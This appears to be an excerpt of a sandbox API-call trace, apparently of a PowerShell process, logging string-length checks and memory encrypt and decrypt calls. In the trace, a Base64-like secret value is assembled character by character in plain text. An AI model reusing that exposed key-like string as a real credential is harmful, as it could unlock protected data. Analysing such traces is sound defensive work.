[0252.457] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ") returned 0x8 [0252.457] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ") returned 0x8 [0252.457] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ") returned 0x8 [0252.458] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ") returned 0x10 [0252.458] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0252.458] SysStringLen (param_1="b8xjRu2RA샬撄ʍᚺஓ\闘∡) returned 0x10 [0252.458] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0252.458] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ揔䟵볨䃱퀺蟽ඌŲ") returned 0x10 [0252.458] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ揔䟵볨䃱퀺蟽ඌŲ") returned 0x10 [0252.458] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0252.458] SysStringLen (param_1="b8xjRu2RAx撄ʍᚺஓ\闘∡) returned 0x10 [0252.458] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0252.458] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ㴕車牁㸨Ⳣ䬏憍ꄃ") returned 0x10 [0252.458] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ㴕車牁㸨Ⳣ䬏憍ꄃ") returned 0x10 [0252.459] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0252.459] SysStringLen (param_1="b8xjRu2RAxYʍᚺஓ\闘∡) returned 0x10 [0252.459] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0252.459] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ³햩佩똔被\뷝ኘ⊻) returned 0x10 [0252.459] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ³햩佩똔被\뷝ኘ⊻) returned 0x10 [0252.459] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0252.459] SysStringLen (param_1="b8xjRu2RAxYTᚺஓ\闘∡) returned 0x10 [0252.459] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0252.459] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ簼꟪ᨏ밸ԋ印擊䱊") returned 0x10 [0252.459] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ簼꟪ᨏ밸ԋ印擊䱊") returned 0x10 [0252.459] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0252.459] SysStringLen (param_1="b8xjRu2RAxYTBஓ\闘∡) returned 0x10 [0252.459] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0252.460] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ푦ீ쳽욝鎄") returned 0x10 [0252.460] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ푦ீ쳽욝鎄") returned 0x10 [0252.460] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0252.523] SysStringLen (param_1="b8xjRu2RAxYTBd\闘∡) returned 0x10 [0252.523] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0252.523] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ㌳岢歮㱯뎻璨㉞됔") returned 0x10 [0252.523] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ㌳岢歮㱯뎻璨㉞됔") returned 0x10 [0252.523] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0252.523] SysStringLen (param_1="b8xjRu2RAxYTBdP↕") returned 0x10 [0252.524] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0252.524] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ认鬬ᬂ횻银Ґ퀾") returned 0x10 [0252.524] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ认鬬ᬂ횻银Ґ퀾") returned 0x10 [0252.524] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0252.524] SysStringLen (param_1="b8xjRu2RAxYTBdPg") returned 0x10 [0252.524] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0252.524] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ툨ꎴ機歳㉐륀") returned 0x10 [0252.524] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ툨ꎴ機歳㉐륀") returned 0x10 [0252.524] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ툨ꎴ機歳㉐륀") returned 0x10 [0252.525] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ툨ꎴ機歳㉐륀") returned 0x18 [0252.525] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0252.525] SysStringLen (param_1="b8xjRu2RAxYTBdPge鬡ᴶ嶇萯鐷瑻") returned 0x18 [0252.525] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0252.525] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ툨ꎴ機歳㉐륀羲㦀䓳涩훡\⋞) returned 0x18 [0252.525] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ툨ꎴ機歳㉐륀羲㦀䓳涩훡\⋞) returned 0x18 [0252.525] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0252.525] SysStringLen (param_1="b8xjRu2RAxYTBdPgepᴶ嶇萯鐷瑻") returned 0x18 [0252.525] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0252.525] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ툨ꎴ機歳㉐륀ঠ潒寸獴鮕欦") returned 0x18 [0252.526] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ툨ꎴ機歳㉐륀ঠ潒寸獴鮕欦") returned 0x18 [0252.526] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0252.526] SysStringLen (param_1="b8xjRu2RAxYTBdPgepl嶇萯鐷瑻") returned 0x18 [0252.526] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0252.526] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ툨ꎴ機歳㉐륀쯞剀〾浜ๅ蜫") returned 0x18 [0252.526] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ툨ꎴ機歳㉐륀쯞剀〾浜ๅ蜫") returned 0x18 [0252.526] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0252.526] SysStringLen (param_1="b8xjRu2RAxYTBdPgepln萯鐷瑻") returned 0x18 [0252.526] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0252.526] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ툨ꎴ機歳㉐륀䪴㴈戶蠞ㅻ猙") returned 0x18 [0252.526] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ툨ꎴ機歳㉐륀䪴㴈戶蠞ㅻ猙") returned 0x18 [0252.526] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0252.527] SysStringLen (param_1="b8xjRu2RAxYTBdPgepln6萯鐷瑻") returned 0x18 [0252.527] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0252.527] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ툨ꎴ機歳㉐륀❃䚒阻ऍ睫\仙∸) returned 0x18 [0252.527] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ툨ꎴ機歳㉐륀❃䚒阻ऍ睫\仙∸) returned 0x18 [0252.527] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0252.527] SysStringLen (param_1="b8xjRu2RAxYTBdPgepln6W鐷瑻") returned 0x18 [0252.527] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0252.527] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ툨ꎴ機歳㉐륀곯㰿ꈂꋨ੣黄꫟눠") returned 0x18 [0252.527] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ툨ꎴ機歳㉐륀곯㰿ꈂꋨ੣黄꫟눠") returned 0x18 [0252.527] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0252.527] SysStringLen (param_1="b8xjRu2RAxYTBdPgepln6WP瑻") returned 0x18 [0252.527] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0252.527] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ툨ꎴ機歳㉐륀垓梃킦삲먵") returned 0x18 [0252.528] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ툨ꎴ機歳㉐륀垓梃킦삲먵") returned 0x18 [0252.528] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0252.528] SysStringLen (param_1="b8xjRu2RAxYTBdPgepln6WP0") returned 0x18 [0252.528] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0252.528] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ툨ꎴ機歳㉐륀⡠旗觝ᘳ땐") returned 0x18 [0252.528] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ툨ꎴ機歳㉐륀⡠旗觝ᘳ땐") returned 0x18 [0252.528] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ툨ꎴ機歳㉐륀⡠旗觝ᘳ땐") returned 0x18 [0252.528] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ툨ꎴ機歳㉐륀⡠旗觝ᘳ땐") returned 0x20 [0252.528] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0252.529] SysStringLen (param_1="b8xjRu2RAxYTBdPgepln6WP0yჵኾ㌓扴ꁌ옣ⱥ") returned 0x20 [0252.529] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0252.529] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ툨ꎴ機歳㉐륀⡠旗觝ᘳ땐箯铷졓紕쵱塩") returned 0x20 [0252.529] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ툨ꎴ機歳㉐륀⡠旗觝ᘳ땐箯铷졓紕쵱塩") returned 0x20 [0252.529] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0252.529] SysStringLen (param_1="b8xjRu2RAxYTBdPgepln6WP0y8ኾ㌓扴ꁌ옣ⱥ") returned 0x20 [0252.529] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0252.529] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ툨ꎴ機歳㉐륀⡠旗觝ᘳ땐궧儯଱鮊嫚训\⋘) returned 0x20 [0252.529] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ툨ꎴ機歳㉐륀⡠旗觝ᘳ땐궧儯଱鮊嫚训\⋘) returned 0x20 [0252.529] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0252.529] SysStringLen (param_1="b8xjRu2RAxYTBdPgepln6WP0y8G㌓扴ꁌ옣ⱥ") returned 0x20 [0252.529] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0252.530] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ툨ꎴ機歳㉐륀⡠旗觝ᘳ땐\퇙歔ᡔ洵⋕) returned 0x20 [0252.530] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ툨ꎴ機歳㉐륀⡠旗觝ᘳ땐\퇙歔ᡔ洵⋕) returned 0x20 [0252.530] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0252.530] SysStringLen (param_1="b8xjRu2RAxYTBdPgepln6WP0y8G8扴ꁌ옣ⱥ") returned 0x20 [0252.530] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0252.530] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ툨ꎴ機歳㉐륀⡠旗觝ᘳ땐鸋㈑ᆵ垬銌웍⅖ణ") returned 0x20 [0252.530] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ툨ꎴ機歳㉐륀⡠旗觝ᘳ땐鸋㈑ᆵ垬銌웍⅖ణ") returned 0x20 [0252.530] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0252.530] SysStringLen (param_1="b8xjRu2RAxYTBdPgepln6WP0y8G81ꁌ옣ⱥ") returned 0x20 [0252.530] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0252.530] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ툨ꎴ機歳㉐륀⡠旗觝ᘳ땐᳆໾崞℃ﶥ﵆뫾") returned 0x20 [0252.530] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ툨ꎴ機歳㉐륀⡠旗觝ᘳ땐᳆໾崞℃ﶥ﵆뫾") returned 0x20 [0252.531] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0252.531] SysStringLen (param_1="b8xjRu2RAxYTBdPgepln6WP0y8G81L옣ⱥ") returned 0x20 [0252.531] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0252.531] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ툨ꎴ機歳㉐륀⡠旗觝ᘳ땐鯃ᄐ槷磅毱뀒") returned 0x20 [0252.531] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ툨ꎴ機歳㉐륀⡠旗觝ᘳ땐鯃ᄐ槷磅毱뀒") returned 0x20 [0252.531] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0252.531] SysStringLen (param_1="b8xjRu2RAxYTBdPgepln6WP0y8G81L1ⱥ") returned 0x20 [0252.531] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0252.531] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ툨ꎴ機歳㉐륀⡠旗觝ᘳ땐질ⶲ璾踧뱻呪ᇥ\⋝) returned 0x20 [0252.531] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ툨ꎴ機歳㉐륀⡠旗觝ᘳ땐질ⶲ璾踧뱻呪ᇥ\⋝) returned 0x20 [0252.531] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0252.531] SysStringLen (param_1="b8xjRu2RAxYTBdPgepln6WP0y8G81L1j") returned 0x20 [0252.531] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0252.532] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ툨ꎴ機歳㉐륀⡠旗觝ᘳ땐翣鷛℡╷㦟薛\⋚) returned 0x20 [0252.532] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ툨ꎴ機歳㉐륀⡠旗觝ᘳ땐翣鷛℡╷㦟薛\⋚) returned 0x20 [0252.532] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ툨ꎴ機歳㉐륀⡠旗觝ᘳ땐翣鷛℡╷㦟薛\⋚) returned 0x20 [0252.532] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ툨ꎴ機歳㉐륀⡠旗觝ᘳ땐翣鷛℡╷㦟薛\⋚) returned 0x28 [0252.532] SystemFunction041 (in: Memory=0x37122c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x37122c) returned 0x0 [0252.532] SysStringLen (param_1="b8xjRu2RAxYTBdPgepln6WP0y8G81L1jc킆鯯꺘迠េ") returned 0x28 [0252.532] SystemFunction040 (in: Memory=0x37122c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x37122c) returned 0x0 [0252.532] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ툨ꎴ機歳㉐륀⡠旗觝ᘳ땐翣鷛℡╷㦟薛\䓚試삺纁䯆᳼襦㌳≾) returned 0x28 [0252.532] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ툨ꎴ機歳㉐륀⡠旗觝ᘳ땐翣鷛℡╷㦟薛\䓚試삺纁䯆᳼襦㌳≾) returned 0x28 [0252.533] SystemFunction041 (in: Memory=0x37122c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x37122c) returned 0x0 [0252.533] SysStringLen (param_1="b8xjRu2RAxYTBdPgepln6WP0y8G81L1jcn鯯꺘迠េ") returned 0x28 [0252.533] SystemFunction040 (in: Memory=0x37122c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x37122c) returned 0x0 [0252.533] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ툨ꎴ機歳㉐륀⡠旗觝ᘳ땐翣鷛℡╷㦟薛\⻚⏫끪靉ࣱ翍旖∁) returned 0x28 [0252.533] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ툨ꎴ機歳㉐륀⡠旗觝ᘳ땐翣鷛℡╷㦟薛\⻚⏫끪靉ࣱ翍旖∁) returned 0x28 [0252.533] SystemFunction041 (in: Memory=0x37122c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x37122c) returned 0x0 [0252.533] SysStringLen (param_1="b8xjRu2RAxYTBdPgepln6WP0y8G81L1jcnd鯯꺘迠េ") returned 0x28 [0252.533] SystemFunction040 (in: Memory=0x37122c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x37122c) returned 0x0 [0252.533] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ툨ꎴ機歳㉐륀⡠旗觝ᘳ땐翣鷛℡╷㦟薛\헌ꃮ쭴⡍蓭Ӗ⋙) returned 0x28 [0252.533] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ툨ꎴ機歳㉐륀⡠旗觝ᘳ땐翣鷛℡╷㦟薛\헌ꃮ쭴⡍蓭Ӗ⋙) returned 0x28 [0252.533] SystemFunction041 (in: Memory=0x37122c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x37122c) returned 0x0 [0252.534] SysStringLen (param_1="b8xjRu2RAxYTBdPgepln6WP0y8G81L1jcndt꺘迠េ") returned 0x28 [0252.534] SystemFunction040 (in: Memory=0x37122c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x37122c) returned 0x0 [0252.534] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ툨ꎴ機歳㉐륀⡠旗觝ᘳ땐翣鷛℡╷㦟薛\僚⪿沇Ӽ᢫룝ꉊ≕) returned 0x28 [0252.534] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ툨ꎴ機歳㉐륀⡠旗觝ᘳ땐翣鷛℡╷㦟薛\僚⪿沇Ӽ᢫룝ꉊ≕) returned 0x28 [0252.534] SystemFunction041 (in: Memory=0x37122c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x37122c) returned 0x0 [0252.534] SysStringLen (param_1="b8xjRu2RAxYTBdPgepln6WP0y8G81L1jcndt7迠េ") returned 0x28 [0252.534] SystemFunction040 (in: Memory=0x37122c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x37122c) returned 0x0 [0252.534] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ툨ꎴ機歳㉐륀⡠旗觝ᘳ땐翣鷛℡╷㦟薛\⃚앶₌╈伞歙랎∩) returned 0x28 [0252.534] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ툨ꎴ機歳㉐륀⡠旗觝ᘳ땐翣鷛℡╷㦟薛\⃚앶₌╈伞歙랎∩) returned 0x28 [0252.534] SystemFunction041 (in: Memory=0x37122c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x37122c) returned 0x0 [0252.534] SysStringLen (param_1="b8xjRu2RAxYTBdPgepln6WP0y8G81L1jcndt7dេ") returned 0x28 [0252.534] SystemFunction040 (in: Memory=0x37122c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x37122c) returned 0x0 [0252.534] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ툨ꎴ機歳㉐륀⡠旗觝ᘳ땐翣鷛℡╷㦟薛\ꗚ\迟႐ㅁ驃閭\럝⊞) returned 0x28 [0252.534] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ툨ꎴ機歳㉐륀⡠旗觝ᘳ땐翣鷛℡╷㦟薛\ꗚ\迟႐ㅁ驃閭\럝⊞) returned 0x28 [0252.535] SystemFunction041 (in: Memory=0x37122c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x37122c) returned 0x0 [0252.535] SysStringLen (param_1="b8xjRu2RAxYTBdPgepln6WP0y8G81L1jcndt7d2េ") returned 0x28 [0252.535] SystemFunction040 (in: Memory=0x37122c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x37122c) returned 0x0 [0252.535] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ툨ꎴ機歳㉐륀⡠旗觝ᘳ땐翣鷛℡╷㦟薛\諚쉷蒳숺횶ᛮ\ᛛ侓") returned 0x28 [0252.535] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ툨ꎴ機歳㉐륀⡠旗觝ᘳ땐翣鷛℡╷㦟薛\諚쉷蒳숺횶ᛮ\ᛛ侓") returned 0x28 [0252.535] SystemFunction041 (in: Memory=0x37122c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x37122c) returned 0x0 [0252.535] SysStringLen (param_1="b8xjRu2RAxYTBdPgepln6WP0y8G81L1jcndt7d2x") returned 0x28 [0252.535] SystemFunction040 (in: Memory=0x37122c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x37122c) returned 0x0 [0252.535] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ툨ꎴ機歳㉐륀⡠旗觝ᘳ땐翣鷛℡╷㦟薛\\컜\틝맮҇험킮∮) returned 0x28 [0252.535] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ툨ꎴ機歳㉐륀⡠旗觝ᘳ땐翣鷛℡╷㦟薛\\컜\틝맮҇험킮∮) returned 0x28 [0252.535] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ툨ꎴ機歳㉐륀⡠旗觝ᘳ땐翣鷛℡╷㦟薛\\컜\틝맮҇험킮∮) returned 0x28 [0252.536] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ툨ꎴ機歳㉐륀⡠旗觝ᘳ땐翣鷛℡╷㦟薛\\컜\틝맮҇험킮∮) returned 0x30 [0252.536] SystemFunction041 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0252.536] SysStringLen (param_1="b8xjRu2RAxYTBdPgepln6WP0y8G81L1jcndt7d2xw馻᥷ఎ湻\⋣) returned 0x30 [0252.536] SystemFunction040 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0252.536] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ툨ꎴ機歳㉐륀⡠旗觝ᘳ땐翣鷛℡╷㦟薛\\컜\틝맮҇험킮✮汙鉞洟젥〈≶) returned 0x30 [0252.536] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ툨ꎴ機歳㉐륀⡠旗觝ᘳ땐翣鷛℡╷㦟薛\\컜\틝맮҇험킮✮汙鉞洟젥〈≶) returned 0x30 [0252.536] SystemFunction041 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0252.536] SysStringLen (param_1="b8xjRu2RAxYTBdPgepln6WP0y8G81L1jcndt7d2xwk馻᥷ఎ湻\⋣) returned 0x30 [0252.536] SystemFunction040 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0252.536] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ툨ꎴ機歳㉐륀⡠旗觝ᘳ땐翣鷛℡╷㦟薛\\컜\틝맮҇험킮촮艹칺及Œ퇢\黛샃") returned 0x30 [0252.536] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ툨ꎴ機歳㉐륀⡠旗觝ᘳ땐翣鷛℡╷㦟薛\\컜\틝맮҇험킮촮艹칺及Œ퇢\黛샃") returned 0x30 [0252.536] SystemFunction041 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0252.537] SysStringLen (param_1="b8xjRu2RAxYTBdPgepln6WP0y8G81L1jcndt7d2xwkg᥷ఎ湻\⋣) returned 0x30 [0252.537] SystemFunction040 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0252.537] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ툨ꎴ機歳㉐륀⡠旗觝ᘳ땐翣鷛℡╷㦟薛\\컜\틝맮҇험킮אַ⮂悂㻡Ⅎ㗂ꥐ≠) returned 0x30 [0252.537] SysStringLen (param_1="Ꮽ롃鵕뷬ꯀ툨ꎴ機歳㉐륀⡠旗觝ᘳ땐翣鷛℡╷㦟薛\\컜\틝맮҇험킮אַ⮂悂㻡Ⅎ㗂ꥐ≠) returned 0x30 [0252.537] SystemFunction041 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0252.537] SysStringLen (param_1="b8xjRu2RAxYTBdPgepln6WP0y8G81L1jcndt7d2xwkg=ఎ湻\⋣) returned 0x30 [0252.537] SystemFunction040 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0252.537] EtwEventActivityIdControl () returned 0x0 [0252.537] EtwEventActivityIdControl () returned 0x0 [0252.537] EtwEventActivityIdControl () returned 0x0 [0252.538] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0252.539] EtwEventActivityIdControl () returned 0x0 [0252.539] EtwEventActivityIdControl () returned 0x0 [0252.539] EtwEventActivityIdControl () returned 0x0 [0252.539] SysStringLen (param_1="") returned 0x8 [0252.539] SysStringLen (param_1="N") returned 0x8 [0252.540] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0252.540] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0252.540] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0252.540] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0252.540] SysStringLen (param_1="ND") returned 0x8 [0252.540] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0252.540] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0252.540] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0252.540] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 